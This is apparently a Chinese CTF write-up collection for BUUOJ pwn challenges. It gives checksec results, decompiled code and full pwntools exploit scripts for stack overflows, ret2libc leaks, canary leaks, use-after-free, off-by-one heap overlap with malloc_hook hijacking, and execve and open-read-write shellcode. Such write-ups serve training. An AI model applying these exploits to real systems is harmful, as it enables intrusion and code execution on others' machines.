vulnerable_function
ssize_t vulnerable_function () { char buf; write(1 , "Input:\n" , 7uLL ); return read(0 , &buf, 0x200 uLL); }
read 溢出+libc_leak
3.EXP
from pwn import *from LibcSearcher import *context.log_level = "debug" p = remote("node3.buuoj.cn" ,27722 ) elf = ELF("./level3_x64" ) read_got = elf.got['read' ] write_plt = elf.plt['write' ] vuln_addr = elf.sym["vulnerable_function" ] pop_rdi_ret = 0x04006b3 pop_rsi_r15_ret = 0x04006b1 pop_rbp_ret = 0x0400550 ''' 0x00000000004006ac : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret 0x00000000004006ae : pop r13 ; pop r14 ; pop r15 ; ret 0x00000000004006b0 : pop r14 ; pop r15 ; ret 0x00000000004006b2 : pop r15 ; ret 0x00000000004006ab : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret 0x00000000004006af : pop rbp ; pop r14 ; pop r15 ; ret 0x0000000000400550 : pop rbp ; ret 0x00000000004006b3 : pop rdi ; ret 0x00000000004006b1 : pop rsi ; pop r15 ; ret 0x00000000004006ad : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret 0x0000000000400499 : ret ''' payload = 'a' *(0x80 +8 ) payload += p64(pop_rdi_ret)+p64(1 )+p64(pop_rsi_r15_ret)+p64(read_got)+p64(0 ) payload += p64(write_plt)+p64(vuln_addr) p.recvuntil("Input:\n" ) p.sendline(payload) read_real = u64(p.recv(8 )) libc = LibcSearcher("read" ,read_real) libc_base = read_real - libc.dump("read" ) sys_addr = libc_base + libc.dump("system" ) binsh = libc_base + libc.dump("str_bin_sh" ) log.info("libc base==>%s" ,hex (libc_base)) log.info("system addr==>%s" ,hex (sys_addr)) log.info("/bin/sh addr==>%s" ,hex (binsh)) payload = 'a' *(0x80 +8 ) payload += p64(pop_rdi_ret)+p64(binsh)+p64(sys_addr)+p64(vuln_addr) p.recvuntil("Input:\n" ) p.sendline(payload) p.interactive()
jarvisoj_level4
1.checksec
Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)
2.IDA
main
int __cdecl main (int argc, const char **argv, const char **envp) { vulnerable_function(); write(1 , "Hello, World!\n" , 0xE u); return 0 ; }
vulnerable_function
ssize_t vulnerable_function () { char buf; return read(0 , &buf, 0x100 u); }
这题本意是然大家用Dynefl来泄露libc的,但是LibcSearcher一样可以
3.EXP
3.1 libcsearcher
from pwn import *from LibcSearcher import *context.log_level = "debug" p = remote("node3.buuoj.cn" ,28393 ) elf = ELF("./level4" ) libc_start_main = elf.got["__libc_start_main" ] write_plt = elf.plt['write' ] main_addr = elf.sym['main' ] payload = 'a' *(0x88 +4 ) payload += p32(write_plt)+p32(main_addr)+p32(1 )+p32(libc_start_main) p.sendline(payload) libc_start_real = u32(p.recv(4 )) libc = LibcSearcher("__libc_start_main" ,libc_start_real) libc_base = libc_start_real - libc.dump("__libc_start_main" ) sys_addr = libc_base + libc.dump("system" ) binsh = libc_base + libc.dump("str_bin_sh" ) log.info("libc base=>%s" ,hex (libc_base)) log.info("system addr=>%s" ,hex (sys_addr)) log.info("binsh addr=>%s" ,hex (binsh)) payload = 'a' *(0x88 +4 ) payload += p32(sys_addr)+p32(0xdeadbeef )+p32(binsh) p.sendline(payload) p.interactive()
3.2 Dynelf
from pwn import *io=remote("node3.buuoj.cn" ,28393 ) elf=ELF("./level4" ) vulner_function_address=0x804844B write_plt=elf.plt["write" ] read_plt=elf.plt["read" ] bss_addr=0x0804a024 def leak (address ): payload="a" *0x88 +"aaaa" +p32(write_plt)+p32(vulner_function_address)+p32(1 )+p32(address)+p32(4 ) io.sendline(payload) leak_sysaddr=io.recv(4 ) print "%#x => %s" % (address, (leak_sysaddr or '' ).encode('hex' )) return leak_sysaddr d = DynELF(leak, elf=ELF("./level4" )) sys_addr=d.lookup("system" ,"libc" ) print hex (sys_addr)payload1="a" *0x88 +"aaaa" +p32(read_plt)+p32(vulner_function_address)+p32(1 )+p32(bss_addr)+p32(8 ) io.sendline(payload1) io.sendline("/bin/sh" ) payload2="a" *0x88 +"aaaa" +p32(sys_addr)+p32(vulner_function_address)+p32(bss_addr) io.sendline(payload2) io.interactive()
jarvisoj_level5
buu上给的就是jarvisoj_level3_x64
jarvisoj_tell_me_something
1.checksec
Arch: amd64-64-little RELRO: No RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)
2.IDA
main
int __cdecl main (int argc, const char **argv, const char **envp) { __int64 v4; write(1 , "Input your message:\n" , 0x14 uLL); read(0 , &v4, 0x100 uLL); return write(1 , "I have received your message, Thank you!\n" , 0x29 uLL); }
good_game
int good_game () { FILE *v0; int result; char buf; v0 = fopen("flag.txt" , "r" ); while ( 1 ) { result = fgetc(v0); buf = result; if ( (_BYTE)result == -1 ) break ; write(1 , &buf, 1uLL ); } return result; }
自行读取flag,不嫌麻烦也可试试open/read/write
3.EXP
from pwn import *p = remote("node3.buuoj.cn" ,29781 ) elf = ELF("./guestbook" ) payload = 'a' *0x88 + p64(0x0400620 ) p.recvuntil("message:" ) p.sendline(payload) print p.recv()p.interactive()
jarvisoj_test_your_memory
1.checksec
Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)
2.IDA
main
int __cdecl main (int argc, const char **argv, const char **envp) { unsigned int v3; char s2[11 ]; int v6; int i; v6 = 10 ; puts ("\n\n\n------Test Your Memory!-------\n" ); v3 = time(0 ); srand(v3); for ( i = 0 ; i < v6; ++i ) s2[i] = alphanum_2626[rand() % 0x3E u]; printf ("%s" , s2); mem_test(s2); return 0 ; }
产生随机数,然后让我们来猜
mem_test
int __cdecl mem_test (char *s2) { int result; char s; memset (&s, 0 , 0xB u); puts ("\nwhat???? : " ); printf ("0x%x \n" , hint); puts ("cff flag go go go ...\n" ); printf ("> " ); __isoc99_scanf("%s" , &s); if ( !strncmp (&s, s2, 4u ) ) result = puts ("good job!!\n" ); else result = puts ("cff flag is failed!!\n" ); return result; }
验证我们的输入,并且有了栈溢出 和cat flag 的地址
win_func
int __cdecl win_func (char *command) { return system(command); }
后门函数,作用==system
3.EXP
from pwn import *context.log_level = "debug" p = remote("node3.buuoj.cn" ,28178 ) elf = ELF("./memory" ) cat_flag = 0x80487e0 payload = 'a' *(0x13 +4 ) payload += p32(elf.sym["win_func" ])+p32(cat_flag) payload += p32(cat_flag) p.sendline(payload) p.interactive()
not_the_same_3dctf_2016
1.checksec
Arch: i386-32 -little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000 )
2.IDA
main
int __cdecl main (int argc, const char **argv, const char **envp) { char v4; printf ("b0r4 v3r s3 7u 4h o b1ch4o m3m0... " ); gets(&v4); return 0 ; }
简单栈溢出,但是远程开启了段保护,所以用ROP取消段保护
3.EXP
from pwn import *p=process('./not_the_same_3dsctf_2016' ) p = remote("node3.buuoj.cn" ,28930 ) elf=ELF('./not_the_same_3dsctf_2016' ) payload='a' *0x2d +p32(elf.symbols['mprotect' ]) payload+=p32(0x0809e3e5 ) payload+=p32(0x080EB000 ) payload+=p32(0x1000 )+p32(0x7 ) payload+=p32(elf.symbols['read' ]) payload+=p32(0x0809e3e5 )+p32(0 )+p32(0x080EBF80 )+p32(0x100 )+p32(0x080EBF80 ) p.sendline(payload) payload=asm(shellcraft.sh()) p.sendline(payload) p.interactive()
others_babystack
1.checksec
Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000)
2.IDA
两个主要功能
def store (text ): p.sendlineafter(">>" ,"1" ) p.sendline(text) def Print (): p.sendlineafter(">>" ,"2" )
main
__int64 __fastcall main (__int64 a1, char **a2, char **a3) { int v3; char s; unsigned __int64 v6; v6 = __readfsqword(0x28 u); setvbuf(stdin , 0LL , 2 , 0LL ); setvbuf(stdout , 0LL , 2 , 0LL ); setvbuf(stderr , 0LL , 2 , 0LL ); memset (&s, 0 , 0x80 uLL); while ( 1 ) { menu(); v3 = READ(); switch ( v3 ) { case 2 : puts (&s); break ; case 3 : return 0LL ; case 1 : read(0 , &s, 0x100 uLL); break ; default : PUTS("invalid choice" ); break ; } PUTS((const char *)&unk_400AE7); } }
24行的read有一个短小的溢出,从这里我们使用19行的puts可以泄露canary的值,为之后更长的rop-chain做准备
3.EXP
from pwn import *from LibcSearcher import *context.log_level = "debug" elf = ELF("babystack" ) p = remote("node3.buuoj.cn" ,"28311" ) def store (text ): p.sendlineafter(">>" ,"1" ) p.sendline(text) def Print (): p.sendlineafter(">>" ,"2" ) pop_rdi_ret = 0x0400a93 puts_plt = elf.plt["puts" ] puts_got = elf.got["puts" ] main = 0x0400908 if __name__ == '__main__' : store('a' *0x88 ) Print() p.recvuntil('a\n' ) canary=u64(p.recv(7 ).rjust(8 ,'\x00' )) log.success("canary =>0x%x" ,canary) payload = 'a' *0x88 +p64(canary)+'b' *8 payload += p64(pop_rdi_ret)+p64(puts_got) payload += p64(puts_plt)+p64(main) store(payload) p.sendlineafter(">>" ,"3" ) p.recv() puts_addr = u64(p.recv(6 ).ljust(8 ,'\x00' )) libc = LibcSearcher("puts" ,puts_addr) base = puts_addr-libc.dump("puts" ) sys_addr = libc.dump("system" )+base binsh = libc.dump("str_bin_sh" )+base log.success("puts real =>0x%x" ,puts_addr) log.success("libc base =>0x%x" ,base) log.success("system addr=>0x%x" ,sys_addr) log.success("/bin/sh =>0x%x" ,binsh) payload = 'a' *0x88 +p64(canary)+'b' *8 payload += p64(pop_rdi_ret)+p64(binsh) payload += p64(sys_addr) store(payload) p.sendlineafter(">>" ,"3" ) p.interactive()
others_shellcode
连上就有
pwn1_sctf_2016
1.checsec
Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)
2.IDA
main
int __cdecl main (int argc, const char **argv, const char **envp) { vuln(); return 0 ; }
vuln
int vuln () { const char *v0; char s; char v3; char v4; char v5; char v6; char v7; printf ("Tell me something about yourself: " ); fgets(&s, 32 , edata); std ::string ::operator=(&input, &s); std ::allocator<char >::allocator(&v5); std ::string ::string (&v4, "you" , &v5); std ::allocator<char >::allocator(&v7); std ::string ::string (&v6, "I" , &v7); replace((std ::string *)&v3); std ::string ::operator=(&input, &v3, &v6, &v4); std ::string ::~string ((std ::string *)&v3); std ::string ::~string ((std ::string *)&v6); std ::allocator<char >::~allocator(&v7); std ::string ::~string ((std ::string *)&v4); std ::allocator<char >::~allocator(&v5); v0 = (const char *)std ::string ::c_str((std ::string *)&input); strcpy (&s, v0); return printf ("So, %s\n" , &s); }
string
LOAD:08048154 00000013 C /lib/ld-linux.so.2 ............. ........ . .......... LOAD:080488F4 00000007 C strcpy LOAD:080488FB 00000006 C stdin LOAD:08048901 00000007 C printf LOAD:08048908 00000006 C fgets LOAD:0804890E 0000000D C __cxa_atexit LOAD:0804891B 00000007 C system LOAD:08048922 00000012 C __libc_start_main LOAD:08048934 00000008 C GCC_3.0 LOAD:0804893C 0000000A C GLIBC_2.0 LOAD:08048946 0000000C C GLIBC_2.1.3 LOAD:08048952 0000000E C GLIBCXX_3.4.5 LOAD:08048960 0000000B C CXXABI_1.3 LOAD:0804896B 0000000C C GLIBCXX_3.4 .rodata:080497F0 0000000D C cat flag.txt .rodata:08049800 00000023 C Tell me something about yourself: .rodata:08049829 00000008 C So, %s\n .rodata:08049834 0000002A C basic_string::_S_construct null not valid .eh_frame:0804996F 00000005 C ;*2$\" .eh_frame:0804999D 00000005 C zPLR
看上去不会溢出,但是把’I’替换成’you’,使字符串变多,栈溢出
3.EXP
from pwn import *p = remote("node3.buuoj.cn" ,25541 ) cat_flag = 0x08048F0D payload = 'I' *20 + 'a' *4 + p64(cat_flag) p.sendline(payload) p.interactive()
pwn2_sctf_2016
1.checksec
[*] '/home/o Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)
2.IDA
vuln
int vuln () { char nptr; int v2; printf ("How many bytes do you want me to read? " ); get_n((int )&nptr, 4u ); v2 = atoi(&nptr); if ( v2 > 32 ) return printf ("No! That size (%d) is too large!\n" , v2); printf ("Ok, sounds good. Give me %u bytes of data!\n" , v2); get_n((int )&nptr, v2); return printf ("You said: %s\n" , &nptr); }
get_n
int __cdecl get_n (int a1, unsigned int a2) { int v2; int result; char v4; unsigned int v5; v5 = 0 ; while ( 1 ) { v4 = getchar(); if ( !v4 || v4 == 10 || v5 >= a2 ) break ; v2 = v5++; *(_BYTE *)(v2 + a1) = v4; } result = a1 + v5; *(_BYTE *)(a1 + v5) = 0 ; return result; }
这里就存在一个atoi,输入-1时会转化为非零型整数,造成整数溢出
整数了过后,就可以写更多的值,从而getshell
溢出要覆盖的量可以从gdb调试出来
3.EXP
from pwn import *from LibcSearcher import *context.log_level = "debug" elf = ELF("./pwn2_sctf_2016" ) libc = ELF("./libc-2.23.so" ) p = remote("node3.buuoj.cn" ,29632 ) start_addr = 0x080483d0 output_addr = 0x080486F8 vuln_addr = 0x0804852F printf_plt = elf.plt['printf' ] printf_got = elf.got['printf' ] payload = 'a' *48 payload += p32(printf_plt) + p32(start_addr) payload += p32(output_addr) + p32(elf.got["__libc_start_main" ]) p.recvuntil("?" ) p.sendline("-1" ) p.recv() p.sendline(flat(payload)) p.recvuntil("You said: " ) p.recvuntil("You said: " ) main_real = u32(p.recv(4 )) libcbase = main_real - libc.sym["__libc_start_main" ] sys_addr = libcbase + libc.sym['system' ] binsh = libcbase + libc.search("/bin/sh\x00" ).next () payload = 'a' *48 + p32(sys_addr)+p32(output_addr) + p32(binsh) p.recvuntil("?" ) p.sendline("-1" ) p.recvuntil("!" ) p.sendline(payload) p.interactive()
pwnable_hack_note
1.checksec
Arch: i386-32-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x8048000)
2.IDA
基本功能如下
def add (size, content) : p.sendlineafter ("Your choice :" , "1" ) p.recvuntil ("Note size :" ) p.sendline (str(size)) p.recvuntil ("Content :" ) p.sendline (content) def delete (index) : p.sendlineafter ("Your choice :" , "2" ) p.recvuntil ("Index :" ) p.sendline (str(index)) def show (index) : p.sendlineafter ("Your choice :" , "3" ) p.recvuntil ("Index :" ) p.sendline (str(index))
delete
if ( ptr[v1] ) { free (*((void **)ptr[v1] + 1 )); free (ptr[v1]); puts ("Success" ); }
指针没有归零
3.GDB
0x1 先申请一个chunk
pwndbg> heap 0x804b000 FASTBIN { prev_size = 0, size = 17, fd = 0x804862b, bk = 0x804b018, fd_nextsize = 0x0, bk_nextsize = 0x11 } 0x804b010 FASTBIN { prev_size = 0, size = 17, fd = 0x61616161, bk = 0xa, fd_nextsize = 0x0, bk_nextsize = 0x20fe1 } 0x804b020 PREV_INUSE { prev_size = 0, size = 135137, fd = 0x0, bk = 0x0, fd_nextsize = 0x0, bk_nextsize = 0x0 } 0x804b000: 0x00000000 0x00000011 0x0804862b 0x0804b018 0x804b010: 0x00000000 0x00000011 0x61616161 0x0000000a 0x804b020: 0x00000000 0x00020fe1 0x00000000 0x00000000 0x804b030: 0x00000000 0x00000000 0x00000000 0x00000000
0x2 查看0x0804862b和0x0804b018
0x0804862b
int __cdecl sub_804862B (int a1) { return puts (*(const char **)(a1 + 4 )); }
0x0804b018
该地址应该是绑定的分配堆的地址,到时候修补上就行
4.思路
uaf,将0x0804862b改为一个我们能泄露的函数
计算system的相对位置
改0x0804862b为system,并传入sh\x00\x00
调用原来的输出函数,输出的对象是刚才填入的sh\x00\x00
伪造过后
0x860b000 : 0x00000000 0x00000011 0x0804862b 0x0860b030 0x860b010 : 0x00000000 0x00000019 0x0860b038 0x61616161 0x860b020 : 0x61616161 0x61616161 0x00000000 0x00000011 0x860b030 : 0x0804862b 0x0804a018 0x00000000 0x00000019 0x860b040 : 0x00000000 0x61616161 0x61616161 0x61616161 0x860b050 : 0x00000000 0x00020fb1 0x00000000 0x00000000
5.EXP
from pwn import *import structp = 0 def add (size, content ): p.sendlineafter("Your choice :" , "1" ) p.recvuntil("Note size :" ) p.sendline(str (size)) p.recvuntil("Content :" ) p.sendline(content) def delete (index ): p.sendlineafter("Your choice :" , "2" ) p.recvuntil("Index :" ) p.sendline(str (index)) def show (index ): p.sendlineafter("Your choice :" , "3" ) p.recvuntil("Index :" ) p.sendline(str (index)) def pwn (ip,port,mode,debug ): elf = ELF("./hacknote" ) libc = ELF("/home/joe1sn/libc/32/libc-2.23.so" ) global p if debug == 1 : context.log_level = "debug" else : pass if mode == 0 : p = process("./hacknote" ) else : p = remote(ip,port) add(0x10 ,'a' *0x10 ) add(0x10 ,'a' *0x10 ) delete(1 ) delete(0 ) fun_addr=0x0804862B add(8 ,p32(fun_addr)+p32(elf.got["free" ])) show(1 ) leak=u32(p.recv(4 )) libc_base = leak-libc.sym["free" ] sys_addr = libc_base+libc.sym["system" ] success('leak addr: ' +hex (leak)) success('libc base: ' +hex (libc_base)) success('system addr ' +hex (sys_addr)) delete(2 ) add(8 ,p32(sys_addr)+'||sh' ) show(1 ) p.interactive() if __name__ == '__main__' : pwn("node3.buuoj.cn" ,28478 ,1 ,0 )
pwnable_start
1.checksec
Arch: i386-32-little RELRO: No RELRO Stack: No canary found NX: NX disabled PIE: No PIE (0x8048000)
2.IDA
; =============== S U B R O U T I N E ======================================= public _start _start proc near ; DATA XREF: LOAD:08048018↑o push esp push offset _exit xor eax, eax xor ebx, ebx xor ecx, ecx xor edx, edx push ':FTC' push ' eht' push ' tra' push 'ts s' push 2774654Ch mov ecx, esp ; addr mov dl, 20 ; len mov bl, 1 ; fd mov al, 4 ; syscall(write) int 80h ; LINUX - sys_write xor ebx, ebx ; ebx清零 mov dl, 60 ; len mov al, 3 ; syscall(read) int 80h ; LINUX - add esp, 14h retn .text:0804809C _start endp ; sp-analysis failed
1.向addr空间写入"Let’s start the CTF:";
2.调用read函数,这里有个栈溢出,溢出后返回addr;
3.返回后向addr写入shellcode;
4.最后溢出+抬栈+shellcode。
3.EXP
from pwn import *context.log_level = "debug" p = process('./start' ) p = remote("node3.buuoj.cn" ,27809 ) payload = 'a' *20 + p32(0x08048087 ) p.recvuntil(':' ) p.send(payload) print (payload)leak=u32(p.recv(4 )); print (leak)shellcode= '\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80' payload= 'a' *20 + p32(leak+20 )+shellcode p.send(payload) p.interactive()
pwnable_orw
1.checksec
Arch: i386-32-little RELRO: Partial RELRO Stack: Canary found NX: NX disabled PIE: No PIE (0x8048000) RWX: Has RWX segments
2.IDA
main
int __cdecl main (int argc, const char **argv, const char **envp) { orw_seccomp(); printf ("Give my your shellcode:" ); read(0 , &shellcode, 0xC8 u); ((void (*)(void ))shellcode)(); return 0 ; }
直接传入shellcode过后,执行shellcode
3.EXP
from pwn import *context.log_level = "debug" p = remote("node3.buuoj.cn" ,26098 ) shellcode = shellcraft.open ('/flag' ) shellcode += shellcraft.read('eax' ,'esp' ,100 ) shellcode += shellcraft.write(1 ,'esp' ,100 ) shellcode = asm(shellcode) p.recvuntil("Give my your shellcode:" ) p.sendline(shellcode) p.interactive()
roarctf_2019_easy_pwn
1.checksec
Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled
2.IDA
四个功能:增删查改
def add (size ): p.recvuntil('choice: ' ) p.sendline('1' ) p.recvuntil('size:' ) p.sendline(str (size)) def edit (index,size,data ): p.sendlineafter(": " ,'2' ) p.sendlineafter(": " ,str (index)) p.sendlineafter(": " ,str (size)) p.recvuntil('content:' ) p.send(data) def free (index ): p.sendlineafter(": " ,'3' ) p.recvuntil('index:' ) p.sendline(str (index)) def show (index ): p.sendlineafter(": " ,'4' ) p.sendlineafter(": " ,str (index))
edit
if ( v2 >= 0 && v2 <= 15 ){ v2 = *((_DWORD *)&unk_202040 + 4 * v2); if ( v2 == 1 ) { printf ("size: " ); v2 = read_input(1 ); v4 = vuln(*((_DWORD *)&unk_202044 + 4 * v3), v2); if ( v2 > 0 ) { printf ("content: " , (unsigned int )v2); v2 = sub_D92(qword_202048[2 * v3], v4); } } }
off by one漏洞,导致我们个已覆盖下一个堆块的size域,从而实现chunk overlapping
3.GDB
#code add(0x18)#0 add(0x18)#1 add(0x88)#2 add(0x88)#3 add(0x28)#4 add(0x28)#5 add(0x68)#6 edit(0,0x18+10,'a'*0x18+'\xb1')#off by one #1.szie=0x18 2.size=0x98 #1.size+2.size=chunk_add.size=0xb0 # 0x10+8 like this is more conviente to use # not to add sth like p64(0) gdb.attach(p) #GDB pwndbg> x/32gx 0x55a813ab9000 0x55a813ab9000: 0x0000000000000000 0x0000000000000021 0x55a813ab9010: 0x6161616161616161 0x6161616161616161 0x55a813ab9020: 0x6161616161616161 0x00000000000000b1 这里已经被修改为'\xb1' 0x55a813ab9030: 0x0000000000000000 0x0000000000000000 0x55a813ab9040: 0x0000000000000000 0x0000000000000091 0x55a813ab9050: 0x0000000000000000 0x0000000000000000 0x55a813ab9060: 0x0000000000000000 0x0000000000000000 >这样我们free(1),就会得到`libc base`了
#code free(1) add(0xa8)#1 #gdb.attach(p) edit(1,0x20,'a'*0x18+p64(0x91))#repair #gdb.attach(p) free(2) show(1) #leak gdb.attach(p) #GDB pwndbg> bin fastbins ......... unsortedbin all: 0x55d9d3909040 —▸ 0x7ff8d0bbab78 (main_arena+88) ◂— 0x55d9d3909040 .......... pwndbg> x/32gx 0x55d9d3909000 0x55d9d3909000: 0x0000000000000000 0x0000000000000021 0x55d9d3909010: 0x6161616161616161 0x6161616161616161 0x55d9d3909020: 0x6161616161616161 0x00000000000000b1 0x55d9d3909030: 0x6161616161616161 0x6161616161616161 0x55d9d3909040: 0x6161616161616161 0x0000000000000091 0x55d9d3909050: 0x00007ff8d0bbab78 0x00007ff8d0bbab78 0x55d9d3909060: 0x0000000000000000 0x0000000000000000 0x55d9d3909070: 0x0000000000000000 0x0000000000000000 >再输出chunk1的内容就可以输出`0x00007ff8d0bbab78`,从而泄露`libc base` 最后输出 [+] libc base=>0x7ff8d07f6000 [+] malloc hook=>0x7ff8d0bbab10 [+] realloc hook=>0x7ff8d087a6c0 [+] one gadget=>0x7ff8d083b26a
这里我们用的one_gadget是 0x4526a execve("/bin/sh", rsp+0x30, environ) constraints: [rsp+0x30] == NULL 所以需要满足条件[rsp+0x30] == NULL,这就需要realloc来对栈上的东西进行微调 #code edit(4,0x32,'a'*0x28+'\xa1') #off by one #gdb.attach(p) free(5) free(6) add(0x98)#2 edit(2,0x38,'a'*0x28+p64(0x71)+p64(malloc_hook-0x23)) #new 2 take the 5's place and hijack 6 to malloc hook #gdb.attach(p) add(0x68)#5 add(0x68)#6 in malloc hook edit(6,27,'a'*(0x13-8)+p64(one_gadget)+p64(realloc)) gdb.attach(p) >修改realloc_hook为onegadget,修改malloc_hook为realloc+偏移地址 #GDB >断点过后走几个单步 pwndbg> x/16gx $rsp+0x30 0x7ffeb950d680: 0x0000000000000000 0x00007f5695fa773b 0x7ffeb950d690: 0x00007ffeb950d8db 0x00007f56961d99a0 0x7ffeb950d6a0: 0x0000000000000000 0x0000000000000000 0x7ffeb950d6b0: 0x0000000000000000 0x00007f5695fa773b 0x7ffeb950d6c0: 0x0000000000000000 0x00007ffeb950dd58 0x7ffeb950d6d0: 0x0000000000000000 0x0000000000000000 0x7ffeb950d6e0: 0x0000000000000000 0x00007ffeb950d8f0 0x7ffeb950d6f0: 0x0000000000000064 0x0000004000000000 > 调用了过后就达成了
4.EXP
from pwn import *context.log_level = "debug" elf = ELF("./roarctf_2019_easy_pwn" ) libc=ELF('/home/joe1sn/libc/64/libc-2.23.so' ) p = process("./roarctf_2019_easy_pwn" ) def add (size ): p.recvuntil('choice: ' ) p.sendline('1' ) p.recvuntil('size:' ) p.sendline(str (size)) def edit (index,size,data ): p.sendlineafter(": " ,'2' ) p.sendlineafter(": " ,str (index)) p.sendlineafter(": " ,str (size)) p.recvuntil('content:' ) p.send(data) def free (index ): p.sendlineafter(": " ,'3' ) p.recvuntil('index:' ) p.sendline(str (index)) def show (index ): p.sendlineafter(": " ,'4' ) p.sendlineafter(": " ,str (index)) if __name__ == '__main__' : add(0x18 ) add(0x18 ) add(0x88 ) add(0x88 ) add(0x28 ) add(0x28 ) add(0x68 ) edit(0 ,0x18 +10 ,'a' *0x18 +'\xb1' ) free(1 ) add(0xa8 ) edit(1 ,0x20 ,'a' *0x18 +p64(0x91 )) free(2 ) show(1 ) p.recvuntil('content: ' ) libc_base=u64(p.recvuntil("\x7f\x00\x00" )[-8 :])-0x3c4b78 print (hex (libc_base)) malloc_hook=libc_base+libc.sym['__malloc_hook' ] realloc = libc_base + libc.symbols['__libc_realloc' ] one_gadget=libc_base+0x4526a log.success("libc base=>0x%x" ,libc_base) log.success("malloc hook=>0x%x" ,malloc_hook) log.success("realloc hook=>0x%x" ,realloc) log.success("one gadget=>0x%x" ,one_gadget) ''' add(0x28)#4 add(0x28)#5 add(0x68)#6 ''' edit(4 ,0x32 ,'a' *0x28 +'\xa1' ) free(5 ) free(6 ) add(0x98 ) edit(2 ,0x38 ,'a' *0x28 +p64(0x71 )+p64(malloc_hook-0x23 )) add(0x68 ) add(0x68 ) edit(6 ,27 ,'a' *(0x13 -8 )+p64(one_gadget)+p64(realloc)) gdb.attach(p) add(0x10 ) p.interactive()
rip
1.checksec
Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX disabled PIE: No PIE (0x400000) RWX: Has RWX segments
2.IDA
main
int __cdecl main (int argc, const char **argv, const char **envp) { char s; puts ("please input" ); gets(&s, argv); puts (&s); puts ("ok,bye!!!" ); return 0 ; }
string
LOAD:00000000004002A8 0000001C C /lib64/ld-linux-x86-64.so.2 LOAD:00000000004003B9 0000000A C libc.so.6 LOAD:00000000004003C3 00000005 C gets LOAD:00000000004003C8 00000005 C puts LOAD:00000000004003CD 00000007 C system LOAD:00000000004003D4 00000012 C __libc_start_main LOAD:00000000004003E6 0000000C C GLIBC_2.2.5 LOAD:00000000004003F2 0000000F C __gmon_start__ .rodata:0000000000402004 0000000D C please input .rodata:0000000000402011 0000000A C ok,bye !!! .rodata:000000000040201B 00000008 C /bin/sh .eh_frame:00000000004020DF 00000006 C ;*3$\"
gets函数漏洞,有/bin/sh
3.EXP
from pwn import *p = remote("node3.buuoj.cn" ,27035 ) binsh_addr = 0x401186 payload = '\x00' *0xf + p64(binsh_addr) p.sendline(payload) p.interactive()
warmup_csaw_2016
1.checksec
Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX disabled PIE: No PIE (0x400000) RWX: Has RWX segments
2.IDA
main
__int64 __fastcall main (__int64 a1, char **a2, char **a3) { char s; char v5; write(1 , "-Warm Up-\n" , 0xA uLL); write(1 , "WOW:" , 4uLL ); sprintf (&s, "%p\n" , sub_40060D); write(1 , &s, 9uLL ); write(1 , ">" , 1uLL ); return gets(&v5, ">" ); }
string
LOAD:0000000000400238 0000001C C /lib64/ld-linux-x86-64.so.2 LOAD:0000000000400361 0000000A C libc.so.6 LOAD:000000000040036B 00000005 C gets LOAD:0000000000400370 00000008 C sprintf LOAD:0000000000400378 00000007 C system LOAD:000000000040037F 00000012 C __libc_start_main LOAD:0000000000400391 00000006 C write LOAD:0000000000400397 0000000F C __gmon_start__ LOAD:00000000004003A6 0000000C C GLIBC_2.2.5 .rodata:0000000000400734 0000000D C cat flag.txt .rodata:0000000000400741 0000000B C -Warm Up-\n .rodata:000000000040074C 00000005 C WOW: .eh_frame:00000000004007FF 00000006 C ;*3$\"
gets溢出,system函数和cat flag字符串
3.EXP
from pwn import *p = remote("node3.buuoj.cn" ,28792 ) cat_flag = 0x40060d payload = '\x00' *(0x40 +8 ) + p64(cat_flag) p.sendlineafter(">" ,payload) print p.recv()p.interactive()
wdb2018_guess
一道思路清奇的题
checksec
Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000)
反汇编
可以看出
**1.**flag文件被读取到了栈上面
**2.**主程序创建(fork)了三个线程
**3.**在这个线程里面,程序将我们的输入和站上面的flag进行比较
**4.**我们输入的时候调用了gets,导致栈溢出
GDB调试
我们溢出0x128就可以覆盖 _libc_arg[0] 的值,从而泄露数据
知识点
程序开启了canary保护,这里有个之前我忽略的点 canary的检查报错
源码如下
void __attribute__ ((noreturn)) __stack_chk_fail (void ){ __fortify_fail ("stack smashing detected" ); } void __attribute__ ((noreturn)) internal_function __fortify_fail (const char *msg) { while (1 ) __libc_message (2 , "*** %s ***: %s terminated\n" , msg, __libc_argv[0 ] ?: "<unknown>" ); }
程序输出的时候使用了 __libc_argv[0] 来打印程序的名称,所以就可以从这里泄露一些信息
这里拓展一下
argc :命令的条数
argv[] :输入的每条命令
#include <iostream> using std::cout;using std::cin;using std::endl;int main (int argc, char *argv[]) { for (int i = 0 ; i < argc; ++i) cout<<argv[i]<<endl; return 0 ; }
输出
那么argv[0]=程序的名称(也是第0条指令)
_libc_environ
在libc中保存了一个函数叫_environ,存的是当前进程的环境变量
如何从libc地址得到栈地址 这里面就详细写了这个函数
攻击步骤
1. 泄露libc
2. 泄露_libc_arg的表头 environ,从而找到flag在站上面的地址
3. 覆盖 **libc_arg[0]**为flag在栈上面的地址,最后通过 stack_smashing 泄露出flag
EXP
